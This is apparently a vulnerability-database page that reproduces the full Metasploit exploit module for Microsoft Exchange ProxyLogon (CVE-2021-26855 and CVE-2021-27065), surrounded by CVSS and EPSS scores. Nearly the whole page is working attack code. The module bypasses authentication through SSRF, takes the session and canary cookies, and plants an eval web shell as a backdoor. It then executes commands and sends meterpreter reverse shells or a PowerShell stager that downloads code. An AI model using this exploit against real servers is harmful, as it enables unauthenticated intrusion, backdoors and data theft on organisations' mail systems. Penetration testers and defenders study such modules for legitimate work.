Lucene search

K
metasploitOrange Tsai, Jang ( <Jang (@testanull)>, mekhalleh (RAMELLA Sébastien), print(""), lotusdll, PraetorianMSF:EXPLOIT-WINDOWS-HTTP-EXCHANGE_PROXYLOGON_RCE-
HistoryMar 12, 2021 - 11:49 p.m.

Microsoft Exchange ProxyLogon RCE

2021-03-1223:49:45
Orange Tsai, Jang ( <Jang (@testanull)>, mekhalleh (RAMELLA Sébastien), print(""), lotusdll, Praetorian
www.rapid7.com
158

9.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%

This module exploit a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication, impersonating as the admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get the RCE (Remote Code Execution). By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server. This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010). All components are vulnerable by default.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck

  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::CheckModule
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Exchange ProxyLogon RCE',
        'Description' => %q{
          This module exploit a vulnerability on Microsoft Exchange Server that
          allows an attacker bypassing the authentication, impersonating as the
          admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get
          the RCE (Remote Code Execution).

          By taking advantage of this vulnerability, you can execute arbitrary
          commands on the remote Microsoft Exchange Server.

          This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,
          Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,
          Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).

          All components are vulnerable by default.
        },
        'Author' => [
          'Orange Tsai', # Dicovery (Officially acknowledged by MSRC)
          'Jang (@testanull)', # Vulnerability analysis + PoC (https://twitter.com/testanull)
          'mekhalleh (RAMELLA Sébastien)', # Module author independent researcher (who listen to 'Le Comptoir Secu' and work at Zeop Entreprise)
          'print("")', # https://www.o2oxy.cn/3169.html
          'lotusdll', # https://twitter.com/lotusdll/status/1371465073525362691
          'Praetorian' # # Vulnerability analysis + PoC
        ],
        'References' => [
          ['CVE', '2021-26855'],
          ['CVE', '2021-27065'],
          ['LOGO', 'https://proxylogon.com/images/logo.jpg'],
          ['URL', 'https://proxylogon.com/'],
          ['URL', 'http://aka.ms/exchangevulns'],
          ['URL', 'https://www.praetorian.com/blog/reproducing-proxylogon-exploit'],
          [
            'URL',
            'https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-proxylogon-mail-exchange-rce-s%E1%BB%B1-k%E1%BA%BFt-h%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265'
          ],
          ['URL', 'https://www.o2oxy.cn/3169.html'],
          ['URL', 'https://github.com/praetorian-inc/proxylogon-exploit'],
          ['URL', 'https://github.com/Zeop-CyberSec/proxylogon_writeup']
        ],
        'DisclosureDate' => '2021-03-02',
        'License' => MSF_LICENSE,
        'DefaultOptions' => {
          'CheckModule' => 'auxiliary/scanner/http/exchange_proxylogon',
          'HttpClientTimeout' => 60,
          'RPORT' => 443,
          'SSL' => true,
          'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
        },
        'Platform' => ['windows'],
        'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
        'Privileged' => true,
        'Targets' => [
          [
            'Windows Powershell',
            {
              'Platform' => 'windows',
              'Arch' => [ARCH_X64, ARCH_X86],
              'Type' => :windows_powershell,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Platform' => 'windows',
              'Arch' => [ARCH_X64, ARCH_X86],
              'Type' => :windows_dropper,
              'CmdStagerFlavor' => %i[psh_invokewebrequest],
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
                'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'
              }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'windows',
              'Arch' => [ARCH_CMD],
              'Type' => :windows_command,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION],
          'AKA' => ['ProxyLogon']
        }
      )
    )

    register_options([
      OptString.new('EMAIL', [true, 'A known email address for this organization']),
      OptEnum.new('METHOD', [true, 'HTTP Method to use for the check', 'POST', ['GET', 'POST']]),
      OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false])
    ])

    register_advanced_options([
      OptString.new('BackendServerName', [false, 'Force the name of the backend Exchange server targeted']),
      OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\Program Files\\Microsoft\\Exchange Server\\V15']),
      OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\auth']),
      OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\inetpub\\wwwroot']),
      OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),
      OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']),
      OptInt.new('MaxWaitLoop', [true, 'Max counter loop to wait for OAB Virtual Dir reset', 30]),
      OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', Rex::UserAgent.session_agent])
    ])
  end

  def cmd_windows_generic?
    datastore['PAYLOAD'] == 'cmd/windows/generic'
  end

  def encode_cmd(cmd)
    cmd.gsub!('\\', '\\\\\\')
    cmd.gsub('"', '\u0022').gsub('&', '\u0026').gsub('+', '\u002b')
  end

  def execute_command(cmd, _opts = {})
    if !cmd_windows_generic?
      cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\"));"
    else
      cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\").StdOut.ReadAll());"
    end

    send_request_raw(
      'method' => 'POST',
      'uri' => normalize_uri(web_directory, @random_filename),
      'ctype' => 'application/x-www-form-urlencoded',
      'data' => "#{@random_inputname}=#{cmd}"
    )
  end

  def install_payload(exploit_info)
    # exploit_info: [server_name, sid, session, canary, oab_id]

    input_name = rand_text_alpha(4..8).to_s
    shell = "http://o/#<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request[\"#{input_name}\"],\"unsafe\");}</script>"
    data = {
      identity: {
        __type: 'Identity:ECP',
        DisplayName: (exploit_info[4][0]).to_s,
        RawIdentity: (exploit_info[4][1]).to_s
      },
      properties: {
        Parameters: {
          __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',
          ExternalUrl: shell.to_s
        }
      }
    }.to_json

    response = send_http(
      'POST',
      "[:[@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}",
      data: data,
      cookie: exploit_info[2],
      ctype: 'application/json; charset=utf-8',
      headers: {
        'msExchLogonMailbox' => patch_sid(exploit_info[1]),
        'msExchTargetMailbox' => patch_sid(exploit_info[1]),
        'X-vDirObjectId' => (exploit_info[4][1]).to_s
      }
    )
    return '' if response.code != 200

    input_name
  end

  def message(msg)
    "#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"
  end

  def patch_sid(sid)
    ar = sid.to_s.split('-')
    if ar[-1] != '500'
      sid = "#{ar[0..6].join('-')}-500"
    end

    sid
  end

  def random_mapi_id
    id = "{#{Rex::Text.rand_text_hex(8)}"
    id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
    id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
    id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
    id = "#{id}-#{Rex::Text.rand_text_hex(12)}}"
    id.upcase
  end

  def random_ssrf_id
    # https://en.wikipedia.org/wiki/2,147,483,647 (lol)
    # max. 2147483647
    rand(1941962752..2147483647)
  end

  def request_autodiscover(server_name)
    xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }

    response = send_http(
      'POST',
      "[:[@#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}",
      data: soap_autodiscover,
      ctype: 'text/xml; charset=utf-8'
    )

    case response.body
    when %r{<ErrorCode>500</ErrorCode>}
      fail_with(Failure::NotFound, 'No Autodiscover information was found')
    when %r{<Action>redirectAddr</Action>}
      fail_with(Failure::NotFound, 'No email address was found')
    end

    xml = Nokogiri::XML.parse(response.body)

    legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content
    fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.nil? || legacy_dn.empty?

    server = ''
    xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|
      type = item.at_xpath('./xmlns:Type', xmlns)&.content
      if type == 'EXCH'
        server = item.at_xpath('./xmlns:Server', xmlns)&.content
      end
    end
    fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?

    [server, legacy_dn]
  end

  def request_fqdn
    ntlm_ssp = "NTLMSSP\x00\x01\x00\x00\x00\x05\x02\x88\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    received = send_request_raw(
      'method' => 'RPC_IN_DATA',
      'uri' => normalize_uri('rpc', 'rpcproxy.dll'),
      'headers' => {
        'Authorization' => "NTLM #{Rex::Text.encode_base64(ntlm_ssp)}"
      }
    )
    fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received

    if received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i)
      hash = received['WWW-Authenticate'].split('NTLM ')[1]
      message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))
      dns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]

      return dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase
    end

    fail_with(Failure::NotFound, 'No Backend server was found')
  end

  # https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff
  def request_mapi(server_name, legacy_dn, server_id)
    data = "#{legacy_dn}\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
    headers = {
      'X-RequestType' => 'Connect',
      'X-ClientInfo' => random_mapi_id,
      'X-ClientApplication' => datastore['MapiClientApp'],
      'X-RequestId' => "#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}"
    }

    sid = ''
    response = send_http(
      'POST',
      "[:[@#{server_name}:444/mapi/emsmdb?MailboxId=#{server_id}&a=~#{random_ssrf_id}",
      data: data,
      ctype: 'application/mapi-http',
      headers: headers
    )
    if response.code == 200
      sid_regex = /S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/

      sid = response.body.match(sid_regex).to_s
    end
    fail_with(Failure::NotFound, 'No \'SID\' was found') if sid.empty?

    sid
  end

  def request_oab(server_name, sid, session, canary)
    data = {
      filter: {
        Parameters: {
          __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',
          SelectedView: '',
          SelectedVDirType: 'OAB'
        }
      },
      sort: {}
    }.to_json

    response = send_http(
      'POST',
      "[:[@#{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary=#{canary}&a=~#{random_ssrf_id}",
      data: data,
      cookie: session,
      ctype: 'application/json; charset=utf-8',
      headers: {
        'msExchLogonMailbox' => patch_sid(sid),
        'msExchTargetMailbox' => patch_sid(sid)
      }
    )

    if response.code == 200
      data = JSON.parse(response.body)
      data['d']['Output'].each do |oab|
        if oab['Server'].downcase == server_name.split('.')[0].downcase
          return [oab['Identity']['DisplayName'], oab['Identity']['RawIdentity']]
        end
      end
    end

    []
  end

  def request_proxylogon(server_name, sid)
    data = "<r at=\"Negotiate\" ln=\"#{datastore['EMAIL'].split('@')[0]}\"><s>#{sid}</s></r>"
    session_id = ''
    canary = ''

    response = send_http(
      'POST',
      "[:[@#{server_name}:444/ecp/proxyLogon.ecp?a=~#{random_ssrf_id}",
      data: data,
      ctype: 'text/xml; charset=utf-8',
      headers: {
        'msExchLogonMailbox' => patch_sid(sid),
        'msExchTargetMailbox' => patch_sid(sid)
      }
    )
    if response.code == 241
      session_id = response.get_cookies.scan(/ASP\.NET_SessionId=([\w-]+);/).flatten[0]
      canary = response.get_cookies.scan(/msExchEcpCanary=([\w\-_.]+);*/).flatten[0] # coin coin coin ...
    end

    [session_id, canary]
  end

  # pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.
  def run_cve_2021_26855
    if datastore['BackendServerName'] && !datastore['BackendServerName'].empty?
      server_name = datastore['BackendServerName']
      print_status("Internal server name forced to: #{server_name}")
    else
      print_status(message('Retrieving backend FQDN over RPC request'))
      server_name = request_fqdn
      print_status("Internal server name (#{server_name})")
    end

    # get informations by autodiscover request.
    print_status(message('Sending autodiscover request'))
    server_id, legacy_dn = request_autodiscover(server_name)

    print_status("Server: #{server_id}")
    print_status("LegacyDN: #{legacy_dn}")

    # get the user UID using mapi request.
    print_status(message('Sending mapi request'))
    sid = request_mapi(server_name, legacy_dn, server_id)
    print_status("SID: #{sid} (#{datastore['EMAIL']})")

    # search oab
    sid, session, canary, oab_id = search_oab(server_name, sid)

    [server_name, sid, session, canary, oab_id]
  end

  # post-auth arbitrary file write.
  def run_cve_2021_27065(session_info)
    # set external url (and set the payload).
    print_status('Preparing the payload on the remote target')
    input_name = install_payload(session_info)

    fail_with(Failure::NoAccess, 'Could\'t prepare the payload on the remote target') if input_name.empty?

    # reset the virtual directory (and write the payload).
    print_status('Writing the payload on the remote target')
    remote_file = write_payload(session_info)

    fail_with(Failure::NoAccess, 'Could\'t write the payload on the remote target') if remote_file.empty?

    # wait a lot.
    i = 0
    while i < datastore['MaxWaitLoop']
      received = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(web_directory, remote_file)
      })
      if received && (received.code == 200)
        break
      end

      print_warning('Waiting for the payload to be available')
      sleep 5
      i += 1
    end
    fail_with(Failure::PayloadFailed, 'Could\'t access the remote backdoor (see. ExchangePathBase option)') if received.code == 302

    [input_name, remote_file]
  end

  def search_oab(server_name, sid)
    # request cookies (session and canary)
    print_status(message('Sending ProxyLogon request'))

    print_status('Try to get a good msExchCanary (by patching user SID method)')
    session_id, canary = request_proxylogon(server_name, patch_sid(sid))
    if canary
      auth_session = "ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};"
      oab_id = request_oab(server_name, sid, auth_session, canary)
    end

    if oab_id.nil? || oab_id.empty?
      print_status('Try to get a good msExchCanary (without correcting the user SID)')
      session_id, canary = request_proxylogon(server_name, sid)
      if canary
        auth_session = "ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};"
        oab_id = request_oab(server_name, sid, auth_session, canary)
      end
    end

    fail_with(Failure::NotFound, 'No \'ASP.NET_SessionId\' was found') if session_id.nil? || session_id.empty?
    fail_with(Failure::NotFound, 'No \'msExchEcpCanary\' was found') if canary.nil? || canary.empty?
    fail_with(Failure::NotFound, 'No \'OAB Id\' was found') if oab_id.nil? || oab_id.empty?

    print_status("ASP.NET_SessionId: #{session_id}")
    print_status("msExchEcpCanary: #{canary}")
    print_status("OAB id: #{oab_id[1]} (#{oab_id[0]})")

    return [sid, auth_session, canary, oab_id]
  end

  def send_http(method, ssrf, opts = {})
    ssrf = "X-BEResource=#{ssrf};"
    if opts[:cookie] && !opts[:cookie].empty?
      opts[:cookie] = "#{ssrf} #{opts[:cookie]}"
    else
      opts[:cookie] = ssrf.to_s
    end

    opts[:ctype] = 'application/x-www-form-urlencoded' if opts[:ctype].nil?

    request = {
      'method' => method,
      'uri' => @random_uri,
      'agent' => datastore['UserAgent'],
      'ctype' => opts[:ctype]
    }
    request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?
    request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil?
    request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?

    received = send_request_cgi(request)
    fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received

    received
  end

  def soap_autodiscover
    <<~SOAP
      <?xml version="1.0" encoding="utf-8"?>
      <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
        <Request>
          <EMailAddress>#{datastore['EMAIL']}</EMailAddress>
          <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
        </Request>
      </Autodiscover>
    SOAP
  end

  def web_directory
    if datastore['UseAlternatePath']
      web_dir = datastore['IISWritePath'].gsub('\\', '/')
    else
      web_dir = datastore['ExchangeWritePath'].gsub('\\', '/')
    end
    web_dir
  end

  def write_payload(exploit_info)
    # exploit_info: [server_name, sid, session, canary, oab_id]

    remote_file = "#{rand_text_alpha(4..8)}.aspx"
    if datastore['UseAlternatePath']
      remote_path = "#{datastore['IISBasePath'].split(':')[1]}\\#{datastore['IISWritePath']}"
      remote_path = "\\\\127.0.0.1\\#{datastore['IISBasePath'].split(':')[0]}$#{remote_path}\\#{remote_file}"
    else
      remote_path = "#{datastore['ExchangeBasePath'].split(':')[1]}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}"
      remote_path = "\\\\127.0.0.1\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{remote_path}\\#{remote_file}"
    end

    data = {
      identity: {
        __type: 'Identity:ECP',
        DisplayName: (exploit_info[4][0]).to_s,
        RawIdentity: (exploit_info[4][1]).to_s
      },
      properties: {
        Parameters: {
          __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',
          FilePathName: remote_path.to_s
        }
      }
    }.to_json

    response = send_http(
      'POST',
      "[:[@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}",
      data: data,
      cookie: exploit_info[2],
      ctype: 'application/json; charset=utf-8',
      headers: {
        'msExchLogonMailbox' => patch_sid(exploit_info[1]),
        'msExchTargetMailbox' => patch_sid(exploit_info[1]),
        'X-vDirObjectId' => (exploit_info[4][1]).to_s
      }
    )
    return '' if response.code != 200

    remote_file
  end

  def exploit
    @proto = (ssl ? 'https' : 'http')
    @random_uri = normalize_uri('ecp', "#{rand_text_alpha(1..3)}.js")

    print_status(message('Attempt to exploit for CVE-2021-26855'))
    exploit_info = run_cve_2021_26855

    print_status(message('Attempt to exploit for CVE-2021-27065'))
    shell_info = run_cve_2021_27065(exploit_info)

    @random_inputname = shell_info[0]
    @random_filename = shell_info[1]

    print_good("Yeeting #{datastore['PAYLOAD']} payload at #{peer}")
    if datastore['UseAlternatePath']
      remote_file = "#{datastore['IISBasePath']}\\#{datastore['IISWritePath']}\\#{@random_filename}"
    else
      remote_file = "#{datastore['ExchangeBasePath']}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}\\#{@random_filename}"
    end
    register_files_for_cleanup(remote_file)

    # trigger powa!
    case target['Type']
    when :windows_command
      vprint_status("Generated payload: #{payload.encoded}")

      if !cmd_windows_generic?
        execute_command(payload.encoded)
      else
        response = execute_command("cmd /c #{payload.encoded}")

        print_warning('Dumping command output in response')
        output = response.body.split('Name                            :')[0]
        if output.empty?
          print_error('Empty response, no command output')
          return
        end
        print_line(output)
      end
    when :windows_dropper
      execute_command(generate_cmdstager(concat_operator: ';').join)
    when :windows_powershell
      cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)
      execute_command(cmd)
    end
  end

end

9.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%

Related for MSF:EXPLOIT-WINDOWS-HTTP-EXCHANGE_PROXYLOGON_RCE-